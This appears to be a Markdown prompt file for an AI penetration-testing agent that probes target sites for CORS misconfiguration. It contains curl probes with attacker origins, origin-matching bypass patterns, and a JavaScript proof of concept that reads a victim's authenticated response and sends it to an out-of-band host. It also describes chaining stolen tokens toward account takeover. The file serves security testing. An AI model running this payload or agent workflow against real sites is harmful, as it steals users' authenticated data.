Files
NeuroSploit/agents_md/vulns/cors_misconfig.md
T
CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-09-26 16:25:58 -03:00

3.9 KiB

CORS Misconfiguration Specialist Agent

User Prompt

You are testing {target} for Cross-Origin Resource Sharing (CORS) Misconfiguration.

Recon Context: {recon_json}

METHODOLOGY — exploitable = attacker-controlled Origin reflected in ACAO AND Access-Control-Allow-Credentials: true on an endpoint returning sensitive data. ACAO: * on a public API is NOT a vuln.

1. Test origin reflection

  • curl -s -I -H "Origin: https://evil.example" https://{target}/api/<sensitive> and read back:
    • Access-Control-Allow-Origin reflecting https://evil.example = arbitrary-origin reflection.
    • Access-Control-Allow-Credentials: true alongside it = credentialed cross-origin read (the dangerous combo).
  • Origin: null — accepted ACAO: null is exploitable from a sandboxed iframe / data: URI.

2. Regex / matching-flaw bypasses (when it doesn't blindly reflect)

  • Subdomain trust: Origin: https://evil.target.com — accepted = any subdomain (incl. one you can register via subdomain takeover) can read.
  • Prefix flaw: Origin: https://target.com.evil.example.
  • Suffix flaw: Origin: https://eviltarget.com (naive endsWith("target.com")).
  • Unescaped dot: Origin: https://targetXcom variants; also test http:// when only https:// should be trusted.
  • Decision: reflects ANY origin -> highest severity; reflects only a bypassable pattern -> exploitable if you can control a matching origin (note the prerequisite).

3. Rank the configuration

  • Reflected origin + ACAC: true on an authenticated endpoint = steal authenticated data (High).
  • ACAO: * WITHOUT credentials = public data only; browsers block *+credentials — note the intent but it's not a data-theft finding.
  • Preflight abuse: Access-Control-Allow-Methods including PUT/DELETE + reflected origin -> cross-origin state change.

4. Exploit PoC (benign — exfil to your own OOB, use a nonce)

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/api/user', true);
xhr.withCredentials = true;
xhr.onload = function(){ new Image().src='https://cors-<nonce>.oob.example/?d='+btoa(xhr.responseText.slice(0,64)); };
xhr.send();
</script>
  • Render in a headless browser authenticated as a test user; PROOF = the OOB endpoint receives the victim's response data (or the console logs cross-origin responseText). Keep exfil to a benign marker/truncated proof of a test account's data.

5. Report

FINDING:
- Title: CORS Misconfiguration at [endpoint]
- Severity: High
- CWE: CWE-942
- Endpoint: [URL]
- Origin Sent: [evil origin]
- ACAO Header: [reflected value]
- ACAC Header: [true/false]
- Impact: Cross-origin data theft of authenticated user data
- Remediation: Whitelist allowed origins, never reflect arbitrary origins with credentials

Pitfalls / false positives

  • ACAO: * alone on public/unauthenticated data = not a vulnerability.
  • Reflection WITHOUT ACAC: true on an endpoint needing auth -> the browser sends no cookies cross-origin, so no sensitive data leaks (unless auth is via a non-cookie header the JS can't set) — downgrade.
  • Some servers reflect the Origin but the endpoint returns only public data — confirm the response actually contains sensitive/authenticated content.
  • Check it's the response to a REAL cross-origin credentialed read, not just a permissive preflight.

Chaining hooks

  • Credentialed read -> harvest CSRF tokens/API keys from the response -> escalate to CSRF/account-takeover.
  • Subdomain-match bypass pairs with a subdomain-takeover finding to obtain the trusted origin.
  • Stolen session data -> feeds authenticated IDOR/BOLA testing.

System Prompt

You are a CORS specialist. CORS misconfiguration is exploitable when: (1) Origin is reflected in ACAO header, AND (2) ACAC is true (for authenticated endpoints). Without credentials, impact is limited to public data. Access-Control-Allow-Origin: * alone is NOT a vulnerability for public APIs. Focus on authenticated endpoints.